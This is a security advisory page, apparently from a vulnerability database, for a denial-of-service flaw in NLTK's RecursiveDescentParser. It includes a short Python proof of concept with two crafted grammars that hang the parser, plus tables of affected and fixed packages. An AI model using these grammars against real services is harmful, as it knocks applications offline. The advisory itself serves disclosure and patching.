CVE-2026-12876
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Overview
Description
nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.
Proof of concept
Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:
from nltk import CFG
from nltk.parse import RecursiveDescentParser
# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
Impact
An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.
Sibling
The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.
Source: OX vulnerability database
Severity
MEDIUM
No CVSS vector in the source. Severity comes from the advisory.
Affected packages · 1
| Ecosystem | Package | Vulnerable | Fixed in |
|---|---|---|---|
| PyPI | nltk | <3.10.3 | 3.10.3 |
Open a package to see all its vulnerabilities.
Operating systems · 9 fixes
chainguard 1 release · 2 packages
| Release | Package | Fixed in |
|---|---|---|
| open-webui | 0.11.3-r1 | |
| nemo | 2.7.3-r27 |
debian 4 releases · 1 package
| Release | Package | Fixed in |
|---|---|---|
| 11 | nltk | affected |
| 12 | nltk | affected |
| 13 | nltk | affected |
| 14 | nltk | affected |
echo 1 release · 1 package
| Release | Package | Fixed in |
|---|---|---|
| nltk | affected |
minimos 1 release · 1 package
| Release | Package | Fixed in |
|---|---|---|
| label-studio | 1.23.1-r0 |
wolfi 1 release · 1 package
| Release | Package | Fixed in |
|---|---|---|
| open-webui | 0.11.3-r1 |
References
- github.com https://github.com/nltk/nltk
- github.com https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d
- github.com https://github.com/nltk/nltk/pull/3649
- github.com https://github.com/nltk/nltk/releases/tag/v3.10.3
- github.com https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf
OX Radar and Response Center
Find threats in your stack.
OX Radar can check high-priority threats, like critical package CVEs, against your context.
Each incident is marked Detected or Not Detected with a remediation plan and proof all tracked in the Response Center.